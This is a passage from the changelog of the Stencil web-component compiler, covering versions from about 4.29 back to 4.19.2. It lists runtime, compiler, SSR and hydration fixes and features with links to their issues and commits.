(2025-04-05)\n\n\n### Bug Fixes\n\n* **runtime:** properly set scope classes ([#6224](https://github.com/stenciljs/core/issues/6224)) ([5982264](https://github.com/stenciljs/core/commit/5982264793b81704a20815ea00737032257a436b)), closes [ionic-team/ionic-framework#30323](ionic-team/ionic-framework/issues/30323)\n\n\n\n# 🌁 [4.29.0](https://github.com/stenciljs/core/compare/v4.28.2...v4.29.0) (2025-04-03)\n\n\n### Features\n\n* **hydrate:** support object serialization for hydrated components ([#6208](https://github.com/stenciljs/core/issues/6208)) ([523461e](https://github.com/stenciljs/core/commit/523461e3bf884c0f6acba59b88b81c1b8cf0ed4a))\n* **jsx:** add support for aria-* attributes in JSX typings ([#6221](https://github.com/stenciljs/core/issues/6221)) ([6e748ec](https://github.com/stenciljs/core/commit/6e748ec831d7a3ad16d690c950d1adb4d74658ef)), closes [#6182](https://github.com/stenciljs/core/issues/6182)\n\n\n\n## 🎤 [4.28.2](https://github.com/stenciljs/core/compare/v4.28.1...v4.28.2) (2025-03-13)\n\n### Bug Fixes\n\n* **compiler:** improve nodeResolve config ([#6203](https://github.com/stenciljs/core/issues/6203)) ([34d2284](https://github.com/stenciljs/core/commit/34d2284f9a6118da3f0a11e34c6c2d30e969fa74)),\n\n\n## 🐵 [4.28.1](https://github.com/stenciljs/core/compare/v4.28.0...v4.28.1) (2025-03-13)\n\n\n### Bug Fixes\n\n* **build:** add more platform specific optionalDependencies ([#6196](https://github.com/stenciljs/core/issues/6196)) ([e2965e5](https://github.com/stenciljs/core/commit/e2965e555a709a66708f90797dfab1fd9b831567)), closes [#6195](https://github.com/stenciljs/core/issues/6195)\n* **build:** get ts to handle `.d.mts` files ([#6193](https://github.com/stenciljs/core/issues/6193)) ([d9095b2](https://github.com/stenciljs/core/commit/d9095b2be23b2c3d2996fd647988dc555b8635e9)), closes [#6195](https://github.com/stenciljs/core/issues/6195)\n* **compiler:** get to handle .cts files ([#6199](https://github.com/stenciljs/core/issues/6199)) ([6c1804f](https://github.com/stenciljs/core/commit/6c1804f7276a47a9b314e686dcd2bac81656ecd7)), closes [#6198](https://github.com/stenciljs/core/issues/6198)\n* **loader:** remove package.json as it interferes with main ([#6200](https://github.com/stenciljs/core/issues/6200)) ([bad6e1e](https://github.com/stenciljs/core/commit/bad6e1e7ad8d0ed047e956313099848c3b4f3836)), closes [#5637](https://github.com/stenciljs/core/issues/5637)\n\n\n\n# 🎩 [4.28.0](https://github.com/stenciljs/core/compare/v4.27.2...v4.28.0) (2025-03-11)\n\n\n### Bug Fixes\n\n* add missing name attribute for details html element ([#6188](https://github.com/stenciljs/core/issues/6188)) ([aa1bc62](https://github.com/stenciljs/core/commit/aa1bc62f84f089bd349229fb8c24764737d34b95))\n* **compiler:** fix file watcher sometimes doesn't trigger rebuild ([#6191](https://github.com/stenciljs/core/issues/6191)) ([840ead9](https://github.com/stenciljs/core/commit/840ead92f9147bf5ab2b8ed39f6d852863b4e815)), closes [#6190](https://github.com/stenciljs/core/issues/6190)\n\n### Internal\n\n* **compiler:** build: update rollup to latest ([#6187](https://github.com/stenciljs/core/issues/6187)) ([d54c44c](https://github.com/stenciljs/core/commit/d54c44c55fc14a109ab3532e392962204d52d32c)), closes [#5011](https://github.com/stenciljs/core/issues/5011), closes [#6039](https://github.com/stenciljs/core/issues/6039), closes [#5360](https://github.com/stenciljs/core/issues/5360), closes [#3808](https://github.com/stenciljs/core/issues/3808), closes [#3605](https://github.com/stenciljs/core/issues/3605), closes [#5976](https://github.com/stenciljs/core/issues/5976)\n\n\n## 🌱 [4.27.2](https://github.com/stenciljs/core/compare/v4.27.1...v4.27.2) (2025-03-03)\n\n\n### Bug Fixes\n\n* **compiler:** revert deprecation changes to components.d.ts ([#6184](https://github.com/stenciljs/core/issues/6184)) ([66cba68](https://github.com/stenciljs/core/commit/66cba6821d287603588248707cd423735be16566)), closes [#6183](https://github.com/stenciljs/core/issues/6183), closes [#6184](https://github.com/stenciljs/core/issues/6184)\n* **internal:** fix references to old repository ([#6177](https://github.com/stenciljs/core/issues/6177)) ([2ae7446](https://github.com/stenciljs/core/commit/2ae7446545611b3b3e36c582f06db40c06d4e558))\n\n\n\n## 🍸 [4.27.1](https://github.com/stenciljs/core/compare/v4.27.0...v4.27.1) (2025-02-25)\n\n\n### Bug Fixes\n\n* **docs:** update changelog with missing contribution ([8d596b0](https://github.com/stenciljs/core/commit/8d596b04cf145bb49614465c1e24a1a67bbdc5c3))\n* **runtime:** mock querySelectorAll ([#6175](https://github.com/stenciljs/core/issues/6175)) ([7a3e150](https://github.com/stenciljs/core/commit/7a3e1502253f4b0fea2af5de96ac937f3933e97e))\n\n\n\n# 🏔 [4.27.0](https://github.com/stenciljs/core/compare/v4.26.0...v4.27.0) (2025-02-22)\n\n\n### Bug Fixes\n\n* **hydrate:** support dash-case case in hydrate mode ([#6158](https://github.com/stenciljs/core/issues/6158)) ([30f2a09](https://github.com/stenciljs/core/commit/30f2a09b1d5c282d1c6d2a99e7f19219d26e179b)), closes [#6150](https://github.com/stenciljs/core/issues/6150)\n* **runtime:** `scoped: true` slot fallback with forwarded slot ([#6171](https://github.com/stenciljs/core/issues/6171)) ([57e7e58](https://github.com/stenciljs/core/commit/57e7e5886d81ba3c3357683415cb592e1e72740d)), closes [#6170](https://github.com/stenciljs/core/issues/6170)\n* **runtime:** always call component lifecycle hooks ([#6167](https://github.com/stenciljs/core/issues/6167)) ([260ced2](https://github.com/stenciljs/core/commit/260ced2bdc41e499110f7e6fd89b193166285093)), closes [#6165](https://github.com/stenciljs/core/issues/6165)\n* **runtime:** append newChild if parent node doesn't match with patched node ([#6141](https://github.com/stenciljs/core/issues/6141)) ([eafe1f9](https://github.com/stenciljs/core/commit/eafe1f9d55f964d7f4927e18f4e3f7347e30a7f2)), closes [#6140](https://github.com/stenciljs/core/issues/6140)\n\n\n### Features\n\n* **runtime:** add `slotchange` event and `assignedNodes` / `assignedElements` methods for `scoped: true` slots ([#6151](https://github.com/stenciljs/core/issues/6151)) ([2a1038e](https://github.com/stenciljs/core/commit/2a1038e06440cf541534df9ae938bf74e0b37bb4))\n\n\n### Refactor\n\n* **runtime:** make WeakMap obsolete ([#6156](https://github.com/stenciljs/core/issues/6156))\n\n\n\n# 🐇 [4.26.0](https://github.com/stenciljs/core/compare/v4.25.3...v4.26.0) (2025-02-11)\n\n\n### Features\n\n* **ssr:** shadow dom components can render as declarative-shadow-dom or as 'scoped' ([#6147](https://github.com/stenciljs/core/issues/6147)) ([26e4aa3](https://github.com/stenciljs/core/commit/26e4aa3221d293f294d56b050f29a244d3e44c8c))\n\n\n\n## 🚁 [4.25.3](https://github.com/stenciljs/core/compare/v4.25.2...v4.25.3) (2025-02-04)\n\n\n### Bug Fixes\n\n* **runtime:** don't include loadModule logic in hydrate runtime ([#6145](https://github.com/stenciljs/core/issues/6145)) ([948b63a](https://github.com/stenciljs/core/commit/948b63af01498be9a6017b1bd8f67b952de756a5))\n\n\n### Reverts\n\n* Revert \"Revert \"fix(custom-elements): hydrate on client side (#5317)\" (#6111)\" (#6144) ([464c1a4](https://github.com/stenciljs/core/commit/464c1a48a3049d3e5d32b5fad29646e2ea0dcd53))\n\n\n\n## 🐉 [4.25.2](https://github.com/stenciljs/core/compare/v4.25.1...v4.25.2) (2025-02-04)\n\n\n### Bug Fixes\n\n* **runtime:** clean deferredConnectedCallbacks array on disconnectedCallback ([#6142](https://github.com/stenciljs/core/issues/6142)) ([788dfd0](https://github.com/stenciljs/core/commit/788dfd0bea4a8b23027682a639ecfa7f029f33a1)), closes [#6119](https://github.com/stenciljs/core/issues/6119)\n* **runtime:** don't flag html tag with hydrate flag anymore ([#6103](https://github.com/stenciljs/core/issues/6103)) ([0691295](https://github.com/stenciljs/core/commit/0691295ce94746100bb1d3d17b10caf38f85979c)), closes [#6091](https://github.com/stenciljs/core/issues/6091)\n* **ssr:** correctly resolve slots during hydration ([#6131](https://github.com/stenciljs/core/issues/6131)) ([8853790](https://github.com/stenciljs/core/commit/885379071f64b9ba073c68612d883fe341fa47e2)), closes [#6130](https://github.com/stenciljs/core/issues/6130)\n* **ssr:** exponential perf slow down ([#6128](https://github.com/stenciljs/core/issues/6128)) ([c1e6838](https://github.com/stenciljs/core/commit/c1e68382529c92328d63f8fdea2632302ffe000c)), closes [#6127](https://github.com/stenciljs/core/issues/6127)\n* **ssr:** multiple component instances sharing initial properties ([#6126](https://github.com/stenciljs/core/issues/6126)) ([f7ecec3](https://github.com/stenciljs/core/commit/f7ecec340dddaf61a287371e0f153c86fc39dc0e)), closes [#6125](https://github.com/stenciljs/core/issues/6125)\n* **ssr:** stop stripping comment nodes  ([#6123](https://github.com/stenciljs/core/issues/6123)) ([5a7ab24](https://github.com/stenciljs/core/commit/5a7ab241cbdfdb40de427297d513c24b67c40565)), closes [#6120](https://github.com/stenciljs/core/issues/6120)\n\n\n\n## 🌳 [4.25.1](https://github.com/stenciljs/core/compare/v4.25.0...v4.25.1) (2025-01-25)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** stop duplicate `@stencil/core` ([#6109](https://github.com/stenciljs/core/issues/6109)) ([dc4c88f](https://github.com/stenciljs/core/commit/dc4c88f998de33c53fb94b73bffb913adf953cf3)), closes [#6040](https://github.com/stenciljs/core/issues/6040), closes [#4135](https://github.com/stenciljs/core/issues/4135)\n* **runtime:** allow classList to be null ([#6118](https://github.com/stenciljs/core/issues/6118)) ([749fab9](https://github.com/stenciljs/core/commit/749fab9636d70429f67e61af92f4d932bf475ea5)), closes [#6117](https://github.com/stenciljs/core/issues/6117)\n* **runtime:** fix NotFoundError in addStyle function with referenceNode parent check ([#6107](https://github.com/stenciljs/core/issues/6107)) ([26ceed6](https://github.com/stenciljs/core/commit/26ceed69570761ed17c66e4bc38ff9d88ebe819c)), closes [#6106](https://github.com/stenciljs/core/issues/6106)\n* **runtime:** SSR class handling breaks normal class handling ([#6116](https://github.com/stenciljs/core/issues/6116)) ([1e8a2d2](https://github.com/stenciljs/core/commit/1e8a2d228810d92e3b2b6b271d547087df911ce7)), closes [#6114](https://github.com/stenciljs/core/issues/6114), closes [#6115](https://github.com/stenciljs/core/issues/6115)\n\n#### Thanks\n\n🎉# Thanks for @johnjenkins for their contributions! 🎉\n\n\n# 🏅 [4.25.0](https://github.com/stenciljs/core/compare/v4.24.0...v4.25.0) (2025-01-23)\n\n\n### Bug Fixes\n\n* **SSR:** class prop / state reactivity for target es2022 ([#6099](https://github.com/stenciljs/core/issues/6099)) ([07dcfa8](https://github.com/stenciljs/core/commit/07dcfa84e223820046fef2e0eab91c313f26fa81)), closes [#6095](https://github.com/stenciljs/core/issues/6095)\n* **test:** stop re-running prototype augment in spec tests. ([#6105](https://github.com/stenciljs/core/issues/6105)) ([a7d3873](https://github.com/stenciljs/core/commit/a7d38735a8572303fa2ea7e154e9a9dc3bf7eecb)), closes [#6104](https://github.com/stenciljs/core/issues/6104)\n\n\n### Features\n\n* **mock-doc:** `assignednodes` and `assignedElements` ([#6108](https://github.com/stenciljs/core/issues/6108)) ([777aafd](https://github.com/stenciljs/core/commit/777aafd57b6b03dc972e0f0bada648bf8af1f42f))\n* **runtime:** Add element to component error handler. Enables error boundaries ([#2979](https://github.com/stenciljs/core/issues/2979)) ([5605d48](https://github.com/stenciljs/core/commit/5605d48d1c9f42279ab3442b625007edcd7a9e3f))\n\n\n### Reverts\n\n* Revert \"fix(custom-elements): hydrate on client side (#5317)\" (#6111) ([375fa8b](https://github.com/stenciljs/core/commit/375fa8b8a9bac61afbef5dfd69f4e641bae45533))\n\n\n\n# 🚜 [4.24.0](https://github.com/stenciljs/core/compare/v4.23.2...v4.24.0) (2025-01-17)\n\n\n### Bug Fixes\n\n* **runtime:** clean up ancestor nodes on resolve ([#6094](https://github.com/stenciljs/core/issues/6094)) ([2503dc5](https://github.com/stenciljs/core/commit/2503dc5293479f2fc161cdaee61846dffb4dcea6))\n* **testing:** update puppeteer, default to 'new' headless ([#6098](https://github.com/stenciljs/core/issues/6098)) ([6537869](https://github.com/stenciljs/core/commit/6537869f917449c59e88b8bf57f3dcfdf0f2d077))\n\n\n### Features\n\n* **runtime:** `@Prop` / `@State` now work with runtime decorators ([#6084](https://github.com/stenciljs/core/issues/6084)) ([82fc857](https://github.com/stenciljs/core/commit/82fc857518883cc75b265f2381e36777e8047840))\n* **slot-polyfill:** patch insertBefore & slotted node parentNode ([#6096](https://github.com/stenciljs/core/issues/6096)) ([efb40d5](https://github.com/stenciljs/core/commit/efb40d598d3c5e5d4ae58780e03ea0ae9816b211)), closes [#6043](https://github.com/stenciljs/core/issues/6043)\n\n#### Thanks\n\n🎉# Thanks for @johnjenkins for their contributions! 🎉\n\n\n## 🌮 [4.23.2](https://github.com/stenciljs/core/compare/v4.23.1...v4.23.2) (2025-01-10)\n\n\n### Bug Fixes\n\n* **runtime:** clear up rootAppliedStyles ([#6087](https://github.com/stenciljs/core/issues/6087)) ([c4a9c9e](https://github.com/stenciljs/core/commit/c4a9c9e7bd168d6e0e6b6d83ad338c0179c1e731)), refs [@ionic-team/ionic-framework#28189](https://github.com/ionic-team/ionic-framework/issues/28189), closes [#5181](https://github.com/stenciljs/core/issues/5181), closes [#5172](https://github.com/stenciljs/core/issues/5172), closes [#3607](https://github.com/stenciljs/core/issues/3607), closes [#3158](https://github.com/stenciljs/core/issues/3158)\n\n\n\n## 🌯 [4.23.1](https://github.com/stenciljs/core/compare/v4.23.0...v4.23.1) (2025-01-06)\n\n\n### Bug Fixes\n\n* correctly handle svg class attribute within `parseClassList` ([#6085](https://github.com/stenciljs/core/issues/6085)) ([5d29255](https://github.com/stenciljs/core/commit/5d2925593410fc53ef2fc989c3d33ceb4cf9b503))\n* **mock-doc:** don't force template tags to have a shadowroot ([#6078](https://github.com/stenciljs/core/issues/6078)) ([b63039f](https://github.com/stenciljs/core/commit/b63039f10c2c4e01114e2d11bc29b60ba1e486d9))\n* runtime decorators ([#6076](https://github.com/stenciljs/core/issues/6076)) ([9e6483a](https://github.com/stenciljs/core/commit/9e6483a3f41718c46f13cdc1528c8138110688d0)), closes [#3831](https://github.com/stenciljs/core/issues/3831)\n* **scoped:** fixes for `<slot />` and slotted nodes ([#6082](https://github.com/stenciljs/core/issues/6082)) ([13ee704](https://github.com/stenciljs/core/commit/13ee7049d3e30ee17135965ad7e2c6172e637c09)), closes [#6080](https://github.com/stenciljs/core/issues/6080), [#6081](https://github.com/stenciljs/core/issues/6081) and [#6088](https://github.com/stenciljs/core/issues/6088)\n* **SSR:** patch `scoped: true` SSR-ed, slotted nodes next/prev sibling accessors ([#6057](https://github.com/stenciljs/core/issues/6057)) ([af102ce](https://github.com/stenciljs/core/commit/af102ce8c7faaf1f999c09faefb4aeb55145dade)), closes [#6056](https://github.com/stenciljs/core/issues/6056)\n\n\n\n# 🐣 [4.23.0](https://github.com/stenciljs/core/compare/v4.22.3...v4.23.0) (2024-12-11)\n\n\n### Bug Fixes\n\n* `patchChildSlotNodes` & `scopedSlotTextContentFix` not being applied ([#6055](https://github.com/stenciljs/core/issues/6055)) ([a15bc5d](https://github.com/stenciljs/core/commit/a15bc5da60fb579aa80a38369d5464db17c40c38)), closes [#6054](https://github.com/stenciljs/core/issues/6054)\n* Change hasHostListenerAttached from var to protoype property ([#6074](https://github.com/stenciljs/core/issues/6074)) ([ee4aa0b](https://github.com/stenciljs/core/commit/ee4aa0b4bcc2162d7745f188b8e754cb5d7abda2)), closes [#6066](https://github.com/stenciljs/core/issues/6066)\n* **mock-doc:** don't show error message for SSR workflows ([#6075](https://github.com/stenciljs/core/issues/6075)) ([84a3607](https://github.com/stenciljs/core/commit/84a36072dbda4591105ec2bab1e3ac79d38c47ad)), closes [#6073](https://github.com/stenciljs/core/issues/6073)\n* rewrite SSR client-side hydration ([#6067](https://github.com/stenciljs/core/issues/6067)) ([ec243c2](https://github.com/stenciljs/core/commit/ec243c250c6b8f6fc25835ec2db3c7f157c84947)), closes [#6065](https://github.com/stenciljs/core/issues/6065), [#6064](https://github.com/stenciljs/core/issues/6064), [#6063](https://github.com/stenciljs/core/issues/6063), [#5198](https://github.com/stenciljs/core/issues/5198)\n* **runtime:** ensure Node is defined ([#6061](https://github.com/stenciljs/core/issues/6061)) ([1f5a13f](https://github.com/stenciljs/core/commit/1f5a13f07a138e27d9b937c03999837b30e8afc0)), closes [stenciljs/output-targets#537](https://github.com/stenciljs/output-targets/issues/537)\n* stop 'experimentalScopedSlotChanges' warning msg on startup ([#6068](https://github.com/stenciljs/core/issues/6068)) ([d362700](https://github.com/stenciljs/core/commit/d362700ab85c0fc33c4df5d4e0431d1209ac0548)), closes [#6054](https://github.com/stenciljs/core/issues/6054)\n\n\n### Features\n\n* prop get set new ([#6050](https://github.com/stenciljs/core/issues/6050)) ([7ecb599](https://github.com/stenciljs/core/commit/7ecb59993481a2f522916a9d504c5a4738c3f545))\n\n\n\n## 🐤 [4.22.3](https://github.com/stenciljs/core/compare/v4.22.2...v4.22.3) (2024-11-21)\n\n\n### Bug Fixes\n\n* correctly call proxied formAssociated callbacks ([#6046](https://github.com/stenciljs/core/issues/6046)) ([dffb49d](https://github.com/stenciljs/core/commit/dffb49d5af9f8d4dc8187120214f08cac4d2efa7)), closes [#6038](https://github.com/stenciljs/core/issues/6038)\n* **mock-doc:** return empty string if anchor has no href attribute ([#6051](https://github.com/stenciljs/core/issues/6051)) ([e44642f](https://github.com/stenciljs/core/commit/e44642f4e473977e89bfab201dcfe712989f8d02)), closes [#6047](https://github.com/stenciljs/core/issues/6047)\n* **runtime:** ensure event listener are not registered twice ([#6052](https://github.com/stenciljs/core/issues/6052)) ([8f1bc55](https://github.com/stenciljs/core/commit/8f1bc5501ffc7effb17c2acd863a7b39243fdb6c)), closes [#6045](https://github.com/stenciljs/core/issues/6045)\n* **runtime:** scope id fix for component children for typescript issue ([#6041](https://github.com/stenciljs/core/issues/6041)) ([ab4cfce](https://github.com/stenciljs/core/commit/ab4cfce43fafff3f7302fff4e4c952489c245804)), closes [#6042](https://github.com/stenciljs/core/issues/6042)\n\n\n\n## 🎺 [4.22.2](https://github.com/stenciljs/core/compare/v4.22.1...v4.22.2) (2024-10-25)\n\n\n### Bug Fixes\n\n* **docs:** escape backticks in type or default value columns ([#6025](https://github.com/stenciljs/core/issues/6025)) ([009d370](https://github.com/stenciljs/core/commit/009d370c4e9968664a563d2ab42a151cd49ded96)), closes [#6024](https://github.com/stenciljs/core/issues/6024)\n* **types:** add controlslist to html declarations ([#6026](https://github.com/stenciljs/core/issues/6026)) ([f4b48e9](https://github.com/stenciljs/core/commit/f4b48e9c058e7d9e694560ace519a2f2bf656ff5)), closes [#6015](https://github.com/stenciljs/core/issues/6015)\n* **runtime:** make shadow root adopt scoped component styles ([#6028](https://github.com/stenciljs/core/issues/6028)) ([8ff3048](https://github.com/stenciljs/core/commit/8ff3048e28209af08f8dbe0142443deff19ceee2)), closes [#6027](https://github.com/stenciljs/core/issues/6027)\n\n\n\n## 🌪 [4.22.1](https://github.com/stenciljs/core/compare/v4.22.0...v4.22.1) (2024-10-09)\n\n\n### Bug Fixes\n\n* **mock-doc:** add missing ShadowRoot window primitive ([#6011](https://github.com/stenciljs/core/issues/6011)) ([2f944e2](https://github.com/stenciljs/core/commit/2f944e23664e191990424d0dc0fe953f67229373))\n* **mock-doc:** get native primitive from globalThis ([#6021](https://github.com/stenciljs/core/issues/6021)) ([72fabd1](https://github.com/stenciljs/core/commit/72fabd14cc4934609e2fb8d462807b7445985ae9))\n* **runtime:** create unique host ids ([#6018](https://github.com/stenciljs/core/issues/6018)) ([1564b7a](https://github.com/stenciljs/core/commit/1564b7a6ad5a8b96c60ee3dc67fd4ee516176e04))\n* **runtime:** merge styles within ShadowRoot into a single node ([#6014](https://github.com/stenciljs/core/issues/6014)) ([61f90b0](https://github.com/stenciljs/core/commit/61f90b04ecf8896d74840ea295f949f3de38676c))\n\n\n\n# 🍲 [4.22.0](https://github.com/stenciljs/core/compare/v4.21.0...v4.22.0) (2024-10-03)\n\n\n### Bug Fixes\n\n* **compiler:** add reserved keyword ([#6001](https://github.com/stenciljs/core/issues/6001)) ([7ede77a](https://github.com/stenciljs/core/commit/7ede77a873486b5cf47f0b26571f852675f67dd6)), closes [#6000](https://github.com/stenciljs/core/issues/6000)\n* **compiler:** handle file rename in watch mode ([#5971](https://github.com/stenciljs/core/issues/5971)) ([8f0a882](https://github.com/stenciljs/core/commit/8f0a8823facade0be6eabf8569831f456497c2a0)), closes [#3443](https://github.com/stenciljs/core/issues/3443)\n* **compiler:** no generate custom output ([#5951](https://github.com/stenciljs/core/issues/5951)) ([5cddfd9](https://github.com/stenciljs/core/commit/5cddfd91a37c7405a9abef897e67eed6be089412)), closes [#5950](https://github.com/stenciljs/core/issues/5950) - fixes [#5950](https://github.com/stenciljs/core/issues/5950)\n* **declarations:** add missing event handler types ([#5964](https://github.com/stenciljs/core/issues/5964)) ([6ef1334](https://github.com/stenciljs/core/commit/6ef1334ee2709d1de730f7512e77e18640179bc9)) - closes [#5963](https://github.com/stenciljs/core/issues/5963)\n* **hydrate:** Add missing alias to hydrate build to fix app globals ([#6005](https://github.com/stenciljs/core/issues/6005)) ([c5a8ea9](https://github.com/stenciljs/core/commit/c5a8ea9851856b3262f9f8448d85ac638f4b393b)) - closes [#6002](https://github.com/stenciljs/core/issues/6002)\n* **mock-doc:** avoid double hydration of components ([#6003](https://github.com/stenciljs/core/issues/6003)) ([dbc2f58](https://github.com/stenciljs/core/commit/dbc2f58944ec53b4df26a21c768aa106710c8404))\n* **mock-doc:** provide mock for resize observer ([#6007](https://github.com/stenciljs/core/issues/6007)) ([6d6a65e](https://github.com/stenciljs/core/commit/6d6a65e21b9436d17b26d14e1d206473a1ffa851))\n* **runtime:** ensure referenceNode is child node of styleContainerNode ([#5994](https://github.com/stenciljs/core/issues/5994)) ([a02bc36](https://github.com/stenciljs/core/commit/a02bc3606f2e10331ff9aaa12618dbee271d86fa)) - closes [#5993](https://github.com/stenciljs/core/issues/5993)\n* **runtime:** scoped slot append/prepend correct order after interaction ([#5970](https://github.com/stenciljs/core/issues/5970)) ([2569abd](https://github.com/stenciljs/core/commit/2569abdcdd420b77f1035af154db174c6a9a1601)) - closes [#5969](https://github.com/stenciljs/core/issues/5969)\n* **scripts:** fix Esbuild scripts to allow to run on Windows ([#5930](https://github.com/stenciljs/core/issues/5930)) ([8ad326c](https://github.com/stenciljs/core/commit/8ad326c2ca811cb20bd78b1edd849816c13f6692))\n\n\n### Features\n\n* **compiler:** customize readme mermaid diagram colors ([#5980](https://github.com/stenciljs/core/issues/5980)) ([9ca8951](https://github.com/stenciljs/core/commit/9ca8951d529efb4926467775f939c305ac07874b)), closes [#2876](https://github.com/stenciljs/core/issues/2876) [#2876](https://github.com/stenciljs/core/issues/2876)\n* **typescript:** Update to 5.5.4 ([#5959](https://github.com/stenciljs/core/issues/5959)) ([ce153a0](https://github.com/stenciljs/core/commit/ce153a0297b8fb0de730fd3cc46b33b559697ccf))\n* **hydrate:** support style modes in hydrate modules ([#5953](https://github.com/stenciljs/core/issues/5953)) ([15f3b26](https://github.com/stenciljs/core/commit/15f3b26bf8fb49933c2d3a26072b6d1b5672873b))\n\n\n# 🐷 [4.21.0](https://github.com/stenciljs/core/compare/v4.20.0...v4.21.0) (2024-08-26)\n\n\n### Bug Fixes\n\n* **compiler:** default `asyncLoading` build conditional to `true` ([#5941](https://github.com/stenciljs/core/issues/5941)) ([0e261d6](https://github.com/stenciljs/core/commit/0e261d653b03fd55a975f4e56e2fae258c3dcd88)), closes [#3580](https://github.com/stenciljs/core/issues/3580)\n* **compiler:** prefer `localName` over `originalName` by running an empty check on `originalName` ([#5943](https://github.com/stenciljs/core/issues/5943)) ([0f42656](https://github.com/stenciljs/core/commit/0f42656f00a84be52e1c2497159c27cbfb0fba2a)), closes [#5882](https://github.com/stenciljs/core/issues/5882)\n* **compiler:** verify parent node when validating component members ([#5942](https://github.com/stenciljs/core/issues/5942)) ([37a0aaf](https://github.com/stenciljs/core/commit/37a0aaf176db2ad620fad18a3ddc1e64764c237c)), closes [#5940](https://github.com/stenciljs/core/issues/5940)\n* **runtime:** have fallback for style setting ([#5948](https://github.com/stenciljs/core/issues/5948)) ([ae19d7a](https://github.com/stenciljs/core/commit/ae19d7ad736ee1ae4989a4d0ed08a607ea208b78))\n* **runtime:** only use setter if existing ([#5947](https://github.com/stenciljs/core/issues/5947)) ([7e9fa60](https://github.com/stenciljs/core/commit/7e9fa60d7692e630134618f1186386c0cc0b3a29)), closes [#2703](https://github.com/stenciljs/core/issues/2703)\n* **runtime:** place scoped component styles after preconnect links but before custom styles ([#5938](https://github.com/stenciljs/core/issues/5938)) ([8f92b11](https://github.com/stenciljs/core/commit/8f92b11c1940b86b460c2f3a574208b88e1bbecd))\n* **runtime:** provide second arg to `insertBefore` ([#5933](https://github.com/stenciljs/core/issues/5933)) ([afcc9a5](https://github.com/stenciljs/core/commit/afcc9a5ee7fba408c1be3f9ed594dcddae3fdb7b))\n* **runtime:** render component styles at the end of the head tag ([#5926](https://github.com/stenciljs/core/issues/5926)) ([90da726](https://github.com/stenciljs/core/commit/90da726789be4d26c35ad86cb1441ad7f440dce6)), closes [#5915](https://github.com/stenciljs/core/issues/5915)\n* **runtime:** update call to `prepend` to remove `null` node ([#5946](https://github.com/stenciljs/core/issues/5946)) ([970c5d2](https://github.com/stenciljs/core/commit/970c5d25fba3b82df262a154980cc0f25fdd315c))\n* **typescript:** fix documentation on 'serializeShadowRoot' flag ([#5927](https://github.com/stenciljs/core/issues/5927)) ([277e3e3](https://github.com/stenciljs/core/commit/277e3e35730e37b028d2f2ed32960d5f947d7dd4)), closes [#5914](https://github.com/stenciljs/core/issues/5914)\n\n\n### Features\n\n* **compiler:** allow ignore pattern for copy task ([#5899](https://github.com/stenciljs/core/issues/5899)) ([f89c6a3](https://github.com/stenciljs/core/commit/f89c6a356bdcd78fc6427d3cb75776d749196eea)), closes [#5781](https://github.com/stenciljs/core/issues/5781)\n\n\n\n## 🚐 [4.20.0](https://github.com/stenciljs/core/compare/v4.19.2...v4.20.0) (2024-08-02)\n\n\n### Bug Fixes\n\n* **core:** add @stencil/core/testing/jest-preset to export map ([#5900](https://github.com/stenciljs/core/issues/5900)) ([3def2b7](https://github.com/stenciljs/core/commit/3def2b7e160c4f60318125fd6d0f22da35bc905a)), fixes [#5896](https://github.com/stenciljs/core/issues/5896)\n* **compiler:** don't allow shadowRoot getter to avoid hydration issues ([#5912](https://github.com/stenciljs/core/issues/5912)) ([5dd4f7f](https://github.com/stenciljs/core/commit/5dd4f7fb051c0bfd67f38fb32d61776993db2510))\n* **compiler:** no need for commenting selectors anymore ([#5892](https://github.com/stenciljs/core/issues/5892)) ([d571bbb](https://github.com/stenciljs/core/commit/d571bbbb68f361cd046c0ced724e2c4554aaa06b)), fixes [#5880](https://github.com/stenciljs/core/issues/5880)\n* **compiler:** respect project tsconfig watch options ([#5916](https://github.com/stenciljs/core/issues/5916)) ([74adeee](https://github.com/stenciljs/core/commit/74adeee75a6cdb290ab6127fb94281c7582e3b46)), closes [#5709](https://github.com/stenciljs/core/issues/5709), fixes [#5709](https://github.com/stenciljs/core/issues/5709), fixes [#5592](https://github.com/stenciljs/core/issues/5592)\n* **compiler:** run copy task after other output targets ([#5902](https://github.com/stenciljs/core/issues/5902)) ([c3d4e8b](https://github.com/stenciljs/core/commit/c3d4e8b170b405ef420236f12d7b19e21e541a81)), fixes [#5592](https://github.com/stenciljs/core/issues/5592)\n* **core:** add missing screenshot export ([#5909](https://github.com/stenciljs/core/issues/5909)) ([764a8ba](https://github.com/stenciljs/core/commit/764a8bafdefb5653d958a4573f23f8f8af317a73)), fixes [#5906](https://github.com/stenciljs/core/issues/5906)\n* **hydrate:** ensure beforeHydrateFn and afterHydrateFn always return a function ([#5890](https://github.com/stenciljs/core/issues/5890)) ([a7c212c](https://github.com/stenciljs/core/commit/a7c212c2a9deeb8cea738e334bf37b68322ada66)), fixes [#5884](https://github.com/stenciljs/core/issues/5884)\n* **runtime:** hydrate shadow dom first ([#5911](https://github.com/stenciljs/core/issues/5911)) ([ccf1a89](https://github.com/stenciljs/core/commit/ccf1a8941f732cb53d57785ecbe03388e744a1cd))\n* **runtime:** make isSameVnode return false on initial render in a hydration case ([#5891](https://github.com/stenciljs/core/issues/5891)) ([82a7bb9](https://github.com/stenciljs/core/commit/82a7bb9ead3dc637b646db09b6687a8d0c2735a2))\n* **testing:** update Jest types ([#5910](https://github.com/stenciljs/core/issues/5910)) ([5f8c969](https://github.com/stenciljs/core/commit/5f8c9692d41b58d3706c61db9a33215294e70049)), fixes [#5908](https://github.com/stenciljs/core/issues/5908)\n* **core:** update TypeScript to v5.5 ([#5898](https://github.com/stenciljs/core/issues/5898)) ([5e74837](https://github.com/stenciljs/core/commit/5e748378fd14fa5c6aaf0e001e8763a0ba3cf57c))\n\n### Note\n\nAs we’ve made further enhancements to support declarative Shadow DOM, the Stencil team has determined that it’s not feasible to allow users to render a shadow component as a scoped component after compilation, such as by calling `renderToString` with `serializeShadowRoot: false`. This is because Stencil compiles styles for either shadow or scoped mode during the compilation process, embedding these styles into the hydrate module. Once this compilation is complete, the styles cannot be transformed to support the other mode. Recognizing that this change would impact the current functionality, the Stencil team has decided to proceed with this update. Moving forward, we recommend serializing all components marked with shadow: true as declarative Shadow DOM.\n\n\n## 🏉 [4.19.2](https://github.com/stenciljs/core/compare/v4.19.1...v4.19.2) (2024-07-02)\n\n\n### Bug Fixes\n\n* **hydrate:** partially revert [#5838](https://github.com/stenciljs/core/issues/5838) ([#5876](https://github.com/stenciljs/core/issues/5876)) 